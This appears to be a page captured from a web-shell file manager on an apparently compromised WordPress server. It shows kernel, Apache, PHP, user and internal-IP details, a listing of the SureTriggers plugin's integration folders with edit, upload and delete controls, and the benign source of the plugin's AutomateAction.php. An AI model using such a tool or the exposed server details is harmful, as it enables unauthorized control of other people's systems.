[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
suretriggers
/
src
/
Integrations
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 JetEngineCCT
SET
[ DEL ]
📁 academylms
SET
[ DEL ]
📁 advanced-ads
SET
[ DEL ]
📁 advanced-coupons
SET
[ DEL ]
📁 advanced-custom-fields
SET
[ DEL ]
📁 affiliatewp
SET
[ DEL ]
📁 amelia
SET
[ DEL ]
📁 appointment-hour-booking
SET
[ DEL ]
📁 asgaros
SET
[ DEL ]
📁 badgeos
SET
[ DEL ]
📁 bbpress
SET
[ DEL ]
📁 beaver-builder
SET
[ DEL ]
📁 better-messages
SET
[ DEL ]
📁 bricks-builder
SET
[ DEL ]
📁 buddyboss
SET
[ DEL ]
📁 buddypress
SET
[ DEL ]
📁 cartflows
SET
[ DEL ]
📁 clickwhale
SET
[ DEL ]
📁 contact-form7
SET
[ DEL ]
📁 convertpro
SET
[ DEL ]
📁 divi-builder
SET
[ DEL ]
📁 easy-affiliate
SET
[ DEL ]
📁 edd
SET
[ DEL ]
📁 elementor-pro
SET
[ DEL ]
📁 event-calendar
SET
[ DEL ]
📁 events-manager
SET
[ DEL ]
📁 fluent-boards
SET
[ DEL ]
📁 fluent-booking
SET
[ DEL ]
📁 fluent-form
SET
[ DEL ]
📁 fluent-support
SET
[ DEL ]
📁 fluentaffiliate
SET
[ DEL ]
📁 fluentcart
SET
[ DEL ]
📁 fluentcommunity
SET
[ DEL ]
📁 fluentcrm
SET
[ DEL ]
📁 fluentsmtp
SET
[ DEL ]
📁 formidable-forms
SET
[ DEL ]
📁 forminator
SET
[ DEL ]
📁 funnel-kit-automations
SET
[ DEL ]
📁 gamipress
SET
[ DEL ]
📁 geo-directory
SET
[ DEL ]
📁 givewp
SET
[ DEL ]
📁 gravity-form
SET
[ DEL ]
📁 gravity-kit
SET
[ DEL ]
📁 groundhogg
SET
[ DEL ]
📁 happyforms
SET
[ DEL ]
📁 jet-appointments-booking
SET
[ DEL ]
📁 jetengine
SET
[ DEL ]
📁 jetformbuilder
SET
[ DEL ]
📁 jetpack-crm
SET
[ DEL ]
📁 kadence-forms
SET
[ DEL ]
📁 late-point
SET
[ DEL ]
📁 learndash
SET
[ DEL ]
📁 learndash-achievements
SET
[ DEL ]
📁 learnpress
SET
[ DEL ]
📁 lifterlms
SET
[ DEL ]
📁 mail-mint
SET
[ DEL ]
📁 mailerpress
SET
[ DEL ]
📁 mailpoet
SET
[ DEL ]
📁 masteriyo
SET
[ DEL ]
📁 masterstudy-lms
SET
[ DEL ]
📁 memberpress
SET
[ DEL ]
📁 memberpress-course
SET
[ DEL ]
📁 metabox
SET
[ DEL ]
📁 metform
SET
[ DEL ]
📁 modern-events-calendar
SET
[ DEL ]
📁 mycred
SET
[ DEL ]
📁 new-user-approve
SET
[ DEL ]
📁 newsletter
SET
[ DEL ]
📁 ninja-forms
SET
[ DEL ]
📁 ninja-tables
SET
[ DEL ]
📁 paid-memberships-pro
SET
[ DEL ]
📁 paymattic
SET
[ DEL ]
📁 peepso
SET
[ DEL ]
📁 pie-forms
SET
[ DEL ]
📁 powerful-docs
SET
[ DEL ]
📁 presto-player
SET
[ DEL ]
📁 pretty-links
SET
[ DEL ]
📁 profilegrid
SET
[ DEL ]
📁 profilepress
SET
[ DEL ]
📁 projecthuddle
SET
[ DEL ]
📁 raffle-press
SET
[ DEL ]
📁 restrict-content
SET
[ DEL ]
📁 sensei-lms
SET
[ DEL ]
📁 services-for-surecart
SET
[ DEL ]
📁 simply-schedule-appointments
SET
[ DEL ]
📁 slice-wp
SET
[ DEL ]
📁 storeengine
SET
[ DEL ]
📁 support-portal-for-surecart
SET
[ DEL ]
📁 suredash
SET
[ DEL ]
📁 sureforms
SET
[ DEL ]
📁 suremail
SET
[ DEL ]
📁 suremembers
SET
[ DEL ]
📁 thrive-apprentice
SET
[ DEL ]
📁 thrive-leads
SET
[ DEL ]
📁 thrive-ovation
SET
[ DEL ]
📁 triggerbutton
SET
[ DEL ]
📁 tutorlms
SET
[ DEL ]
📁 ultimate-addons-for-gutenberg
SET
[ DEL ]
📁 ultimate-member
SET
[ DEL ]
📁 voxel
SET
[ DEL ]
📁 wishlistmember
SET
[ DEL ]
📁 woocommerce
SET
[ DEL ]
📁 woocommerce-bookings
SET
[ DEL ]
📁 woocommerce-memberships
SET
[ DEL ]
📁 woocommerce-shipstation
SET
[ DEL ]
📁 woocommerce-subscriptions
SET
[ DEL ]
📁 wordpress
SET
[ DEL ]
📁 wp-all-import
SET
[ DEL ]
📁 wp-courseware
SET
[ DEL ]
📁 wp-fusion
SET
[ DEL ]
📁 wp-job-manager
SET
[ DEL ]
📁 wp-polls
SET
[ DEL ]
📁 wp-simple-pay
SET
[ DEL ]
📁 wp-travel-engine
SET
[ DEL ]
📁 wp-user-manager
SET
[ DEL ]
📁 wpadverts
SET
[ DEL ]
📁 wpcafe
SET
[ DEL ]
📁 wpforms
SET
[ DEL ]
📁 wpforo
SET
[ DEL ]
📁 wpfunnels
SET
[ DEL ]
📁 wplms
SET
[ DEL ]
📁 wployalty
SET
[ DEL ]
📁 wpsubscription
SET
[ DEL ]
📁 ws-form
SET
[ DEL ]
📄 AutomateAction.php
4,055 B
SET
[ EDIT ]
|
[ DEL ]
📄 Integrations.php
3,674 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: AutomateAction.php
<?php /** * AutomateAction. * php version 5.6 * * @category AutomateAction * @package SureTriggers * @author BSF <username@example.com> * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 * @link https://www.brainstormforce.com/ * @since 1.0.0 */ namespace SureTriggers\Integrations; use Exception; use Throwable; /** * AutomateAction * * @category AutomateAction * @package SureTriggers * @author BSF <username@example.com> * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 * @link https://www.brainstormforce.com/ * @since 1.0.0 */ abstract class AutomateAction { /** * Error data. * * @var null */ public $data = null; /** * Action name. * * @var null|string */ public $action = null; /** * Constructor * * @since 1.0.0 */ public function __construct() { add_filter( 'sure_trigger_register_action', [ $this, 'register' ] ); add_action( 'sure_trigger_action_' . $this->action, [ $this, 'action_listener' ], 10, 4 ); } /** * Register action. * * @param array $actions action data. * @return array */ abstract public function register( $actions ); //phpcs:ignore WordPressVIPMinimum.Hooks.AlwaysReturnInFilter.AbstractMethod /** * Action listener. * * @param int $user_id user_id. * @param int $automation_id automation_id. * @param array $fields fields. * @param array $selected_options selectedOptions. * * @return void */ abstract public function _action_listener( $user_id, $automation_id, $fields, $selected_options); /** * Failed function callback. * * @param string $method method name. * @param array $args method arguments. * @return false|void * @throws Exception Excepotion. */ public function __call( $method, $args ) { // Allow support for only action_listener callback. if ( 'action_listener' !== $method ) { return; } // Copy and remove the context from function parameters. $context = isset( $args[4] ) ? $args[4] : ''; unset( $args[4] ); // Convert select field array values in to single value array. $temp_arr = []; if ( is_array( $args[3] ) ) { foreach ( $args[3] as $key => $val ) { if ( is_array( $val ) ) { $temp_arr[ $key ] = isset( $val['value'] ) ? $val['value'] : $val; } else { $temp_arr[ $key ] = $val; } } $args[3] = $temp_arr; } if ( isset( $args[3]['wp_user_email'] ) ) { $args[0] = ap_get_user_id_from_email( $args[3]['wp_user_email'] ); if ( empty( $args[0] ) ) { $args[0] = 0; } } $method = '_' . $method; try { $status = $this->$method( ...$args ); if ( is_null( $status ) && ! is_null( $this->data ) ) { // If status is null but we have error data, throw an exception with the error message. $error_msg = is_array( $this->data ) && isset( $this->data['msg'] ) ? $this->data['msg'] : 'Action failed'; throw new Exception( $error_msg ); } return $status; } catch ( Exception $e ) { throw new Exception( $e->getMessage() ); } catch ( \Throwable $php_error ) { throw new Exception( 'PHP Error: ' . $php_error->getMessage() ); } } /** * Check required fields. * * @param array $fields template field array. * @param array $selected_options admin selected option fields. * @return bool */ public function check_required_fields( $fields, $selected_options ) { foreach ( $fields as $field ) { if ( 'test-action' === $field['type'] ) { continue; } $fieldname = isset( $selected_options[ $field['name'] ] ) ? $selected_options[ $field['name'] ] : false; if ( isset( $field['validationProps'] ) && ( empty( $fieldname ) && '0' !== $fieldname ) ) { $this->set_error( [ 'msg' => __( 'Required field is missing: ', 'suretriggers' ) . $field['name'], ] ); return false; } } return true; } /** * Set the error before returning the false. * * @param array|object|null $data error data. * * @return void */ public function set_error( $data ) { $this->data = $data; } }